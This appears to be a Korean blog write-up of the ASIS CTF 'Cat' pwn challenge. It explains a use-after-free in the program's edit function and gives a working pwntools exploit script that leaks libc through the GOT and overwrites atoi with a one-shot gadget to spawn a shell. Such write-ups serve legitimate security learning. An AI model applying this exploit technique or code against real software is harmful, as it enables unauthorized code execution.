hOwDayS 선린 10720
ASISCTF CAT 본문
소개
오랜만에 작성한다
UAF문제나오면 잘 몰라서 멍때렸다
이 문제가 UAF기법에서 아주 좋은 문제 같다.
보호 기법
RELRO | Partial RELRO |
Stack Canary | Canary Found |
NX | NX Enabled |
PIE | NO PIE |
분석
1. 생성
2. 수정
Edit 할때 ptr를 만들어 ptr(전역변수) 유무 확인 후
정보입력하고 적용할 것인지 확인를 한다.
3. 하나 출력
4. 모두 출력
Vulnerable
취약점은 Edit에서 발견 할 수있다.
정보 입력하고 n을 누른다 (ptr에 0을 안넣고 free만 한다.)
그리고 1번을 눌러 새로운 CAT을 만들면 전 ptr이 있던 위치에 할당한다
--> UAF
Leak
1. Create New cat (any content) ( idx : 0)
2. Edit idx 0 (any content) without apply
3. Create New Cat {type : &idx2 + bss + 100 } ( idx : 1)
4. Edit idx 0 ( name : bss +100 , atoi got) with apply
(Idx 0 = ptr) -> UAF
이러면 &idx2에 있는 위치에 bss+100이 적히고
bss +100 위치에는 atoi got이 적히므로
idx 2 -> name을 출력할때 atoi got을 참고 하므로 릭 가능
Exploit
Edit any index without apply
Create type : atoi got
Edit name : oneshot_gadget
이러면 ptr -> name = atoi got 이므로
ptr->name 을 원샷가젯으로 덮으면 쉘 가능
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | from pwn import * p = process("./Cat") e = ELF("./Cat") def Create(name , kind , old): p.recv() p.sendline("1") p.sendafter("> ",name) p.sendafter("> ",kind) p.sendafter("> ",str(old)) def Edit(index , name , kind , old , ch): p.recv() p.sendline("2") p.sendafter("> ",str(index)) p.sendafter("> ",name) p.sendafter("> ",kind) p.sendafter("> ",str(old)) p.sendafter("> ", ch) Create("A","A","A")# idx 0 Edit(0,"A","A","A" , 'n') Create("B",p64(0x6020b0) + p64(e.bss() + 100) ,"B")# idx 1 ## LEAK ## Edit(0,p64(e.bss()+100),p64(e.got['puts']) ,'c','y') #idx = ptr p.sendafter("> " ,"3") p.sendafter("> ", "2") p.recvuntil("name: ") libc_base = u64(p.recv(6) + "\x00\x00") - 0x6f690 log.success("libc_base : " + hex(libc_base)) ## EXPLOIT ## Edit(0,"1","1","1",'n') Create("B",p64(e.got['atoi']) + p64(e.bss() + 50) , "B") #idx3 #print p.recv() p.sendafter("> ", '2') p.sendafter("> ", '0') p.sendafter("> " , p64(libc_base + 0xf02a4)) p.sendafter("> ","0") p.sendafter("> " , "12") p.interactive() | cs |
'CTF' 카테고리의 다른 글
선린인터넷고등학교 교내해킹방어대회 2018 SHELLCODING (0) | 2018.06.07 |
---|---|
ASISCTF FCascasde (0) | 2018.05.05 |
TRUTHEALTH SoHard (0) | 2018.03.10 |
TRSUTCTF sysrop (0) | 2018.03.08 |
ROOTCTF Allocate (0) | 2018.03.04 |